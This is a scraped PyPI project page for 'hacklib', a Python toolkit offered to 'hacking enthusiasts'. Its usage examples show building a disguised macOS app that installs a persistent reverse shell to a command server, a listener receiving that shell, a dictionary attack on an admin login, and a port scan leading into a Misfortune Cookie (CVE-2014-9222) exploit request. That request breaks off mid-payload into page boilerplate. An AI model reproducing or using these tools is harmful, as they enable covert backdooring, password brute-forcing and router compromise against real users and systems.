This is a pre-production deployment of Warehouse. Changes made here affect the production instance of PyPI (
Help us improve Python packaging - Donate today!

Toolkit for hacking enthusiasts using Python.

Project Description

hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.

Current Features:

  1. Reverse shell backdooring
  2. Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins
  3. Port Scanning
  4. Socks4/5 proxy scraping and tunneling

Generating a backdoor payload (Currently only for Macs):

import hacklib
bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app

Shell listener (Use in conjunction with the backdoor):

import hacklib
# Create instance of Server with the listening port
>>> s = hacklib.Server(9090)
>>> s.listen()
New connection ('', 51101)
bash: no job control in this shell
bash$ whoami
# Sweet!

Simple Dictionary Attack example with hacklib.AuthClient:

import hacklib
ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)
for p in passwords:
    htmldata = ac.login('', 'admin', p)
    if 'welcome' in htmldata.lower():
        print 'Password is', p

Discovery and Exploitation of the Misfortune Cookie Exploit (CVE-2014-9222) with hacklib.PortScanner():

>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('', (80, 81))
Port 80:
HTTP/1.1 404 Not Found
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET /HTTP/1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Release History

Release History

This version
History Node


History Node


History Node


History Node


History Node


History Node


History Node


Download Files

Download Files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

File Name & Checksum SHA256 Checksum Help Version File Type Upload Date
hacklib- (12.5 kB) Copy SHA256 Checksum SHA256 Source Oct 8, 2016

Supported By

WebFaction WebFaction Technical Writing Elastic Elastic Search Pingdom Pingdom Monitoring Dyn Dyn DNS Sentry Sentry Error Logging CloudAMQP CloudAMQP RabbitMQ Heroku Heroku PaaS Kabu Creative Kabu Creative UX & Design Fastly Fastly CDN DigiCert DigiCert EV Certificate Rackspace Rackspace Cloud Servers DreamHost DreamHost Log Hosting